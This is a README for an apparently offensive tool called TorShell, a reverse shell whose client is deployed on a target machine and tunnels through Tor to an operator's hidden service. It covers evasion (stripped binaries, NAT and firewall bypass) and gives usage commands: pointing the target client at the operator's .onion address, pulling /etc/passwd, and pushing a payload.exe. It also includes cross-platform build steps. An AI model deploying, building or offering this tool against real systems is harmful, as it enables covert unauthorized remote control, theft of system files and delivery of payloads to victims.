.---.         _____          ____  _          _ _
      /     \       |_   _|__  _ __/ ___|| |__   ___| | |
      \.@-@./         | |/ _ \| '__\___ \| '_ \ / _ \ | |
      /`\_/`\         | | (_) | |   ___) | | | |  __/ | |
     //  _  \\        |_|\___/|_|  |____/|_| |_|\___|_|_|
    | \     )|_
   /`\_`>  <_/ \
   \__/'---'\__/     ====================================

TorShell is an interactive reverse shell that routes over the Tor network. It bypasses NAT and firewalls without requiring public IP addresses or port forwarding.

The client embeds a Tor binary, bootstraps it in the background, and dials out to a .onion hidden service hosted by the operator.

Architecture

TorShell operates entirely in memory on the client side when executing native commands. It avoids spawning sh or cmd.exe subshells for standard operations.

[ Target / Client ]                                   [ Operator / Server ]
       │                                                       │
       ├─► 1. Bootstraps embedded Tor                          │
       │                                                       │
       │                                 v3 hidden service ◄───┤
       │                                  (.onion address)     │
       │                                                       │
       ├─► 2. Dials out over Tor ──────────► Tor Network ─────►┤
       │                                                       │
       │                                                       ├─► 3. Accepts connection
       │                                                       │
       ◄── 4. Multiplexed shell/transfer ◄─────────────────────►

The Client (client)

The payload deployed to the target. Binaries in releases/ are compiled with -trimpath and -ldflags="-s -w" to strip DWARF data, symbol tables, and local compilation paths.

• Embedded Tor: Contains a compiled Tor binary in its data segment. It extracts it to a temporary location, executes it, and connects to the Tor network.
• Native Command Execution: Standard commands (ls, cd, cat, ps) are implemented natively in Go.
• Process Isolation: When executing unknown system binaries, the client places them in their own process group (Linux uses Setsid, Windows uses CREATE_NEW_PROCESS_GROUP). This ensures signals like Ctrl+C kill the entire process tree cleanly.

The Server (server)

The listener running on the operator's machine.

• Hidden Service: Spawns a Tor v3 hidden service on a random port and prints the .onion address.
• No Open Ports: The server does not expose any ports to the internet.

---

Interactive Shell

The server puts the operator's terminal into raw mode to capture individual keystrokes and pipes them over the Tor socket to the remote process.

[ Operator Terminal ]                       [ Target Process ]
      (Raw Mode)                                (Pty/Exec)
          │                                         │
          ├─ 'Ctrl+C' (0x03) ───────(Tor)──────────►├─ Sends SIGINT
          ├─ 'ls -la' ──────────────(Tor)──────────►├─ Executes
          ◄─ ANSI Colored Output ───(Tor)───────────┤

• Ctrl+C sends an interrupt to the running process on the target.
• Ctrl+L clears your screen.
• Arrow keys and ANSI escape sequences are forwarded.
• Custom ls implementation supports colored output based on file types.

In-Band File Transfer

Upload and download files using the existing Tor connection. Files are chunked and base64-encoded over the socket.

[ Operator / Server ]                       [ Target / Client ]
          │                                         │
          ├─ upload payload.exe                     │
          ├─ [Chunk 1: Base64] ─────(Tor)──────────►├─ Decode & Append
          ├─ [Chunk 2: Base64] ─────(Tor)──────────►├─ Decode & Append
          ◄─ ✔ Upload complete ─────(Tor)───────────┤

# Pull from target
download /etc/passwd

# Push to target
upload ./payload.exe

Cross-Platform

The client compiles for Linux (x86_64, arm64, 386) and Windows (x64, x86). Since Windows lacks /proc, native commands like ps fall back to requiring the operator to use Windows equivalents (like tasklist).

---

Usage

1. Start the server (Operator)

./releases/server_linux_x64

It bootstraps Tor and prints your .onion address:

Server listening on: abc123def456...xyz.onion:80
Waiting for peer to connect...

2. Run the client (Target)

Deploy the correct binary from the releases/ folder to the target and point it at your .onion address:

./client_linux_x64_dynamic -onion abc123def456...xyz.onion:80

Note: Tor takes 30-90 seconds to bootstrap the first time it runs on a new target. The client retries in the background.

---

Compiling from Source

make deps
make clean

# Build all release binaries
make && make static cross-arm64 cross-386 cross-windows cross-windows-386